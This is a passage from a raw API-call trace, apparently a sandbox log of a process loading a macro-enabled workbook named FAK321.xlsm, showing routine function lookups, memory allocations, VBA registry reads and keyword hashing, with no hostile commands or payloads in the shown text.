0x7fefdea4710 [0066.306] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarParseNumFromStr") returned 0x7fefdea48f0 [0066.307] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarDecFromR4") returned 0x7fefdedb640 [0066.307] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarDecFromR8") returned 0x7fefdedb360 [0066.308] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarDecFromDate") returned 0x7fefdee2640 [0066.309] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarDecFromI4") returned 0x7fefdec58a0 [0066.309] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarDecFromCy") returned 0x7fefdec5820 [0066.310] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarR4FromDec") returned 0x7fefdedaf20 [0066.310] GetProcAddress (hModule=0x7fefdea0000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x7fefdefa0c0 [0066.311] GetProcAddress (hModule=0x7fefdea0000, lpProcName="GetRecordInfoFromGuids") returned 0x7fefdf32160 [0066.312] GetProcAddress (hModule=0x7fefdea0000, lpProcName="SafeArrayGetRecordInfo") returned 0x7fefdec5af0 [0066.312] GetProcAddress (hModule=0x7fefdea0000, lpProcName="SafeArraySetRecordInfo") returned 0x7fefdec5a90 [0066.313] GetProcAddress (hModule=0x7fefdea0000, lpProcName="SafeArrayGetIID") returned 0x7fefdec5a60 [0066.315] GetProcAddress (hModule=0x7fefdea0000, lpProcName="SafeArraySetIID") returned 0x7fefdec5a30 [0066.315] GetProcAddress (hModule=0x7fefdea0000, lpProcName="SafeArrayCopyData") returned 0x7fefdea60b0 [0066.316] GetProcAddress (hModule=0x7fefdea0000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x7fefdea3e90 [0066.316] GetProcAddress (hModule=0x7fefdea0000, lpProcName="SafeArrayCreateEx") returned 0x7fefdef9f80 [0066.317] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarFormat") returned 0x7fefdf29b20 [0066.318] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarFormatDateTime") returned 0x7fefdf29aa0 [0066.318] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarFormatNumber") returned 0x7fefdf29990 [0066.319] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarFormatPercent") returned 0x7fefdf29890 [0066.319] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarFormatCurrency") returned 0x7fefdf29770 [0066.320] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarWeekdayName") returned 0x7fefdf0b8d0 [0066.321] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarMonthName") returned 0x7fefdf0b800 [0066.321] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarAdd") returned 0x7fefdf248e0 [0066.322] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarAnd") returned 0x7fefdf29470 [0066.323] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarCat") returned 0x7fefdf296a0 [0066.323] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarDiv") returned 0x7fefdf22fe0 [0066.324] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarEqv") returned 0x7fefdf29cf0 [0066.325] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarIdiv") returned 0x7fefdf28ff0 [0066.325] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarImp") returned 0x7fefdf29c00 [0066.326] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarMod") returned 0x7fefdf28e60 [0066.326] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarMul") returned 0x7fefdf23690 [0066.327] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarOr") returned 0x7fefdf292d0 [0066.328] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarPow") returned 0x7fefdf22e80 [0066.328] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarSub") returned 0x7fefdf23f90 [0066.329] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarXor") returned 0x7fefdf291a0 [0066.329] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarAbs") returned 0x7fefdf07c30 [0066.330] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarFix") returned 0x7fefdf07a60 [0066.331] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarInt") returned 0x7fefdf07890 [0066.331] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarNeg") returned 0x7fefdf07ea0 [0066.332] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarNot") returned 0x7fefdf29600 [0066.332] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarRound") returned 0x7fefdf076a0 [0066.333] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarCmp") returned 0x7fefdf283f0 [0066.333] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarDecAdd") returned 0x7fefded3070 [0066.334] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarDecCmp") returned 0x7fefdedd700 [0066.335] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarBstrCat") returned 0x7fefdedd890 [0066.335] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarCyMulI4") returned 0x7fefdebcaf0 [0066.336] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarBstrCmp") returned 0x7fefdec8a00 [0066.340] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xaf11180 [0066.341] GetUserDefaultLCID () returned 0x409 [0066.360] IMalloc:Alloc (This=0x7fefecb5380, cb=0x3c) returned 0xafa5a70 [0066.360] IMalloc:Alloc (This=0x7fefecb5380, cb=0x38) returned 0x7bf2f00 [0066.360] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20000*=0x78746341) returned 0xb460ee0 [0066.361] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xaf0f110 [0066.364] IMalloc:Alloc (This=0x7fefecb5380, cb=0x7d8) returned 0x4e99320 [0066.365] IMalloc:Alloc (This=0x7fefecb5380, cb=0x98) returned 0x4e244d0 [0066.365] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xaf0fdd0 [0066.366] IMalloc:Alloc (This=0x7fefecb5380, cb=0x28) returned 0xaf10610 [0066.383] malloc (_Size=0xc8) returned 0xcadc680 [0066.389] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", lpString2="") returned 1 [0066.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", cchWideChar=-1, lpMultiByteStr=0x172450, cbMultiByte=75, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", lpUsedDefaultChar=0x0) returned 38 [0066.389] lstrlenA (lpString="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 37 [0066.389] lstrcpyA (in: lpString1=0xcadc750, lpString2="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" [0066.389] SetCursor (hCursor=0x10007) returned 0x10007 [0066.389] malloc (_Size=0x3f0) returned 0xcadc7b0 [0066.390] malloc (_Size=0x60) returned 0xcadccd0 [0066.390] GetCurrentThreadId () returned 0xbdc [0066.390] GetCurrentThreadId () returned 0xbdc [0066.390] malloc (_Size=0x20) returned 0xcadcd40 [0066.390] malloc (_Size=0x818) returned 0xcadcd70 [0066.390] malloc (_Size=0x818) returned 0xcadd590 [0066.390] malloc (_Size=0x28) returned 0xc437a60 [0066.390] malloc (_Size=0x60) returned 0xcadddb0 [0066.390] malloc (_Size=0xa8) returned 0xcadde20 [0066.390] IMalloc:Alloc (This=0x7fefecb5380, cb=0x4) returned 0x23aeaf0 [0066.391] IMalloc:Alloc (This=0x7fefecb5380, cb=0xf0) returned 0xadd0a30 [0066.391] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0xb3aaac0 [0066.391] IMalloc:Alloc (This=0x7fefecb5380, cb=0x280) returned 0x7aa3650 [0066.396] IMalloc:Alloc (This=0x7fefecb5380, cb=0xa08) returned 0x2426150 [0066.396] IMalloc:Alloc (This=0x7fefecb5380, cb=0x1738) returned 0x25629d0 [0066.396] GetLocalTime (in: lpSystemTime=0x171c58 | out: lpSystemTime=0x171c58*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x3, wDay=0x1a, wHour=0x11, wMinute=0x29, wSecond=0x6, wMilliseconds=0x11e)) [0066.396] _ultow_s (in: _Value=0x603e78b2, _Buffer=0x7aa367a, _BufferCount=0x103, _Radix=16 | out: _Buffer="603e78b2") returned 0x0 [0066.396] wcsncpy_s (in: _Destination=0x171920, _SizeInWords=0x108, _Source="*\\Z00603e78b2", _MaxCount=0x106 | out: _Destination="*\\Z00603e78b2") returned 0x0 [0066.396] CharLowerBuffW (in: lpsz="*\\Z00603e78b2", cchLength=0xd | out: lpsz="*\\z00603e78b2") returned 0xd [0066.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z00603e78b2", cchWideChar=14, lpMultiByteStr=0x171850, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z00603e78b2", lpUsedDefaultChar=0x0) returned 14 [0066.396] wcscpy_s (in: _Destination=0xb3aaae0, _SizeInWords=0xe, _Source="*\\Z00603e78b2" | out: _Destination="*\\Z00603e78b2") returned 0x0 [0066.396] wcsncpy_s (in: _Destination=0x171960, _SizeInWords=0x108, _Source="*\\Z00603e78b2", _MaxCount=0x106 | out: _Destination="*\\Z00603e78b2") returned 0x0 [0066.396] CharLowerBuffW (in: lpsz="*\\Z00603e78b2", cchLength=0xd | out: lpsz="*\\z00603e78b2") returned 0xd [0066.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z00603e78b2", cchWideChar=14, lpMultiByteStr=0x171890, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z00603e78b2", lpUsedDefaultChar=0x0) returned 14 [0066.399] lstrcpyA (in: lpString1=0xcadc780, lpString2="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" [0066.399] lstrcpyA (in: lpString1=0xcadc780, lpString2="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" [0066.400] lstrcpyA (in: lpString1=0xcadc780, lpString2="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" [0066.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcadc780, cbMultiByte=-1, lpWideCharStr=0x1722e0, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 38 [0066.400] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.400] wcscpy_s (in: _Destination=0x172086, _SizeInWords=0x105, _Source="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" | out: _Destination="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0066.400] wcsncpy_s (in: _Destination=0x171ca0, _SizeInWords=0x108, _Source="*\\Z00603e78b2", _MaxCount=0x106 | out: _Destination="*\\Z00603e78b2") returned 0x0 [0066.400] CharLowerBuffW (in: lpsz="*\\Z00603e78b2", cchLength=0xd | out: lpsz="*\\z00603e78b2") returned 0xd [0066.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z00603e78b2", cchWideChar=14, lpMultiByteStr=0x171bd0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z00603e78b2", lpUsedDefaultChar=0x0) returned 14 [0066.400] _wcsicmp (_String1="*\\Z00603e78b2", _String2="*\\Z00603e78b2") returned 0 [0066.400] wcsncpy_s (in: _Destination=0x171ca0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0066.400] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", cchLength=0x28 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm") returned 0x28 [0066.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", cchWideChar=41, lpMultiByteStr=0x171bd0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", lpUsedDefaultChar=0x0) returned 41 [0066.400] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _String2="*\\Z00603e78b2") returned -23 [0066.400] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb3aaac0, cb=0x100) returned 0xb10f950 [0066.400] wcscpy_s (in: _Destination=0xb10f990, _SizeInWords=0x29, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0066.400] wcsncpy_s (in: _Destination=0x171ca0, _SizeInWords=0x108, _Source="*\\Z00603e78b2", _MaxCount=0x106 | out: _Destination="*\\Z00603e78b2") returned 0x0 [0066.400] CharLowerBuffW (in: lpsz="*\\Z00603e78b2", cchLength=0xd | out: lpsz="*\\z00603e78b2") returned 0xd [0066.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z00603e78b2", cchWideChar=14, lpMultiByteStr=0x171bd0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z00603e78b2", lpUsedDefaultChar=0x0) returned 14 [0066.401] _wcsicmp (_String1="*\\Z00603e78b2", _String2="*\\Z00603e78b2") returned 0 [0066.401] wcsncpy_s (in: _Destination=0x171ce0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0066.401] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", cchLength=0x28 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm") returned 0x28 [0066.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", cchWideChar=41, lpMultiByteStr=0x171c10, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", lpUsedDefaultChar=0x0) returned 41 [0066.401] wcscpy_s (in: _Destination=0x7aa3670, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0066.407] IMalloc:Alloc (This=0x7fefecb5380, cb=0x84) returned 0xb3aaeb0 [0066.407] wcscpy_s (in: _Destination=0xb3aaf20, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0066.407] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x180) returned 0x2548790 [0066.407] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb8) returned 0xb3d2190 [0066.407] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb8) returned 0xb3d2250 [0066.407] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0xb0d7e60 [0066.407] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x80) returned 0xb3ab060 [0066.407] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0xb0d8550 [0066.407] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0xb0d87a0 [0066.407] IMalloc:Alloc (This=0x7fefecb5380, cb=0x28) returned 0xaf106d0 [0066.408] IMalloc:Alloc (This=0x7fefecb5380, cb=0x10) returned 0x79faa10 [0066.408] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x17157c, cchData=6 | out: lpLCData="1252") returned 5 [0066.408] atoi (_Str="1252") returned 1252 [0066.408] GetLocalTime (in: lpSystemTime=0x171570 | out: lpSystemTime=0x171570*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x3, wDay=0x1a, wHour=0x11, wMinute=0x29, wSecond=0x6, wMilliseconds=0x12e)) [0066.408] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0xb3ab0f0 [0066.408] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc4cc0 [0066.408] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0xb3ab180 [0066.408] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xaf11210 [0066.409] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0xb3ab210 [0066.409] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb3ab210, cb=0x280) returned 0x7aa3e00 [0066.409] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc4fc0 [0066.409] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc4fb0 [0066.409] strcpy_s (in: _Dst=0x171350, _DstSize=0xc8, _Src="Software\\Microsoft\\VBA\\" | out: _Dst="Software\\Microsoft\\VBA\\") returned 0x0 [0066.409] strcat_s (in: _Destination="Software\\Microsoft\\VBA\\", _SizeInBytes=0xc8, _Source="7.1\\Common" | out: _Destination="Software\\Microsoft\\VBA\\7.1\\Common") returned 0x0 [0066.409] RegCreateKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x7fee5ce04a8, lpdwDisposition=0x0 | out: phkResult=0x7fee5ce04a8*=0xcdc, lpdwDisposition=0x0) returned 0x0 [0066.409] RegQueryValueExA (in: hKey=0xcdc, lpValueName="RequireDeclaration", lpReserved=0x0, lpType=0x171428, lpData=0x171420, lpcbData=0x171424*=0x4 | out: lpType=0x171428*=0x0, lpData=0x171420*=0x5, lpcbData=0x171424*=0x4) returned 0x2 [0066.409] RegQueryValueExA (in: hKey=0xcdc, lpValueName="CompileOnDemand", lpReserved=0x0, lpType=0x171428, lpData=0x171420, lpcbData=0x171424*=0x4 | out: lpType=0x171428*=0x0, lpData=0x171420*=0x0, lpcbData=0x171424*=0x4) returned 0x2 [0066.409] RegQueryValueExA (in: hKey=0xcdc, lpValueName="NotifyUserBeforeStateLoss", lpReserved=0x0, lpType=0x171428, lpData=0x171420, lpcbData=0x171424*=0x4 | out: lpType=0x171428*=0x0, lpData=0x171420*=0x1, lpcbData=0x171424*=0x4) returned 0x2 [0066.409] RegQueryValueExA (in: hKey=0xcdc, lpValueName="BackGroundCompile", lpReserved=0x0, lpType=0x171428, lpData=0x171420, lpcbData=0x171424*=0x4 | out: lpType=0x171428*=0x0, lpData=0x171420*=0x0, lpcbData=0x171424*=0x4) returned 0x2 [0066.410] RegQueryValueExA (in: hKey=0xcdc, lpValueName="BreakOnAllErrors", lpReserved=0x0, lpType=0x171428, lpData=0x171420, lpcbData=0x171424*=0x4 | out: lpType=0x171428*=0x0, lpData=0x171420*=0xff, lpcbData=0x171424*=0x4) returned 0x2 [0066.410] RegQueryValueExA (in: hKey=0xcdc, lpValueName="BreakOnServerErrors", lpReserved=0x0, lpType=0x171428, lpData=0x171420, lpcbData=0x171424*=0x4 | out: lpType=0x171428*=0x0, lpData=0x171420*=0x0, lpcbData=0x171424*=0x4) returned 0x2 [0066.410] RegCloseKey (hKey=0xcdc) returned 0x0 [0066.410] IMalloc:Alloc (This=0x7fefecb5380, cb=0xc0) returned 0xae0ad30 [0066.410] IMalloc:Alloc (This=0x7fefecb5380, cb=0xc0) returned 0xae0b480 [0066.410] IMalloc:Alloc (This=0x7fefecb5380, cb=0x1300) returned 0xb3c4190 [0066.410] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x41d0000 [0066.411] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x4a50000 [0066.411] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0066.411] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x30) returned 0x7bfb380 [0066.411] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x41e0000 [0066.412] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0066.412] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x4a90000 [0066.450] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4aa0000 [0066.451] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4ab0000 [0066.452] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Intrinsics") returned 0x109464 [0066.479] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4ac0000 [0066.480] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0066.480] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="") returned 0x10c0b3 [0066.482] IMalloc:Alloc (This=0x7fefecb5380, cb=0x420) returned 0x79a09c0 [0066.518] GetProcAddress (hModule=0x7fee5660000, lpProcName=0x7fee5cab088) returned 0x7fee566fcd0 [0066.518] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4ad0000 [0066.519] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x4ae0000 [0066.530] IMalloc:Alloc (This=0x7fefecb5380, cb=0x420) returned 0xb3288f0 [0066.530] CExposedStream::AddRef () returned 0x2 [0066.530] CExposedStream::Release () returned 0x1 [0066.530] CExposedStream::Release () returned 0x0 [0066.530] IMalloc:Free (This=0x7fefecb5380, pv=0xb3288f0) [0066.530] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0066.530] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x30) returned 0xaff7cb0 [0066.530] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x4b20000 [0066.532] VirtualAlloc (lpAddress=0x4ae0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4ae0000 [0066.532] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Abs") returned 0x1072bc [0066.532] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Access") returned 0x101d98 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AddressOf") returned 0x10e252 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Alias") returned 0x10bf6d [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Append") returned 0x108f83 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Assert") returned 0x1096e9 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B") returned 0x101059 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base") returned 0x10afa9 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BF") returned 0x105ca5 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Binary") returned 0x1008a0 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Boolean") returned 0x10978e [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByRef") returned 0x1074ef [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Case") returned 0x107547 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CBool") returned 0x104c74 [0066.533] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CByte") returned 0x106d3c [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CCur") returned 0x108050 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDate") returned 0x108dc3 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDec") returned 0x10834a [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDbl") returned 0x1082e4 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDecl") returned 0x10a0b9 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ChDir") returned 0x10b2fb [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CInt") returned 0x109f65 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Circle") returned 0x103fd1 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLng") returned 0x10af63 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Compare") returned 0x10af82 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSng") returned 0x10d4d2 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CStr") returned 0x10d5bb [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir$") returned 0x10f7cc [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVar") returned 0x10e307 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVDate") returned 0x10cfd6 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVErr") returned 0x108902 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Currency") returned 0x10f106 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Database") returned 0x10eec7 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date$") returned 0x1031c7 [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Decimal") returned 0x1036dd [0066.534] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefBool") returned 0x1091ad [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefByte") returned 0x10b275 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefCur") returned 0x10cc45 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDate") returned 0x10d2fc [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDec") returned 0x10cf3f [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDbl") returned 0x10ced9 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefInt") returned 0x10eb5a [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLng") returned 0x10fb58 [0066.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, 